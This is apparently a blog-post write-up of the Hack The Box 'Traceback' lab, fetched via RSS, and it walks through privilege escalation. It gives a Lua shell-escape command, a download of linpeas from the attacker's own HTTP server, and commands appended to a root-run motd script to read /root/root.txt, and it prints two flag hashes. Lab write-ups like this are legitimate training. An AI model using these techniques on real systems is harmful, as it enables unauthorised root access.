&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8-7vQ9Fb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.08.24-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8-7vQ9Fb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.08.24-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see if there are any programs we can run as root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo -l

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--7GM7oLTM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.09.35-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7GM7oLTM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.09.35-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oh, this looks promising. I google luvit and found this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TX7EHeMH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.10.54-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TX7EHeMH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.10.54-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Luvit looks like a Lua application. I went to gtfobins to see if I could exploit a Lua application.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yAZ7g66z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.12.46-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yAZ7g66z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.12.46-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And here is our strategy. First, I executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo -u sysadmin /home/sysadmin/luvit

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;The application prompted me to enter something. I typed in the command I got from gtfobins but used bash instead of sh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;os.execute("/bin/bash -i")

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now I've got access to sysadmin and the first flag!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sGYw5VKY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.15.14-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sGYw5VKY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.15.14-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8bZ3miGZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.18.18-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8bZ3miGZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.18.18-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;11dadca21fe54bc8d753f61fc7a47ada

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now let's see if we can get root.&lt;/p&gt;

&lt;p&gt;I downloaded linpeas.sh from &lt;a href="https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh"&gt;here&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;I tried to get it directly on the box, but that didn't work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9qoqxcev--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.21.46-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9qoqxcev--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.21.46-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'm going to download it to my local box and use python's built-in http server to upload it. I'm executing this in the same folder that linpeas.sh is in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python -m SimpleHTTPServer

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now I can access it from the remote by calling:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget http://10.10.14.26:8000/linpeas.sh

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MplxDEhJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.23.31-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MplxDEhJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.23.31-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's make it executable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod +x linpeas.sh

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now let's run linpeas.sh&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./linpeas.sh

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--XU03rhrb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.26.36-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XU03rhrb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.26.36-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scrolling through the output, I noticed this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5ipFFhj5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.28.47-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5ipFFhj5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.28.47-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;00-header seems to be the header message when you log in:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2pay_YaQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.30.26-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2pay_YaQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.30.26-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I decided to see if I could run "id" from that shell when I log in as webadmin. The command would tell me what priv's are being executed when that script is run.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "id" &amp;gt;&amp;gt; /etc/update-motd.d/00-header

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;When I log in, it should print out what user is executing that file. Hopefully root.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--F2qj97sQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.33.56-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--F2qj97sQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.33.56-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Boom root! Ok, let's exploit that. We know that the root flag is always /root/root.txt.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "cat /root/root.txt" &amp;gt;&amp;gt; /etc/update-motd.d/00-header

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now let's log in again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YPBdNdjQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.36.52-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YPBdNdjQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.36.52-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And you can see the root flag printed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b2a2c50f8f2c0d1acb6c0aaf090712c9

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;We are all done! We could've easily used that exploit to gain actual root on the box, but all I needed for this activity was the root flag. This box was fun! I highly recommend it.&lt;/p&gt;

</description>
      <category>hacking</category>
    </item>
  </channel>
</rss>
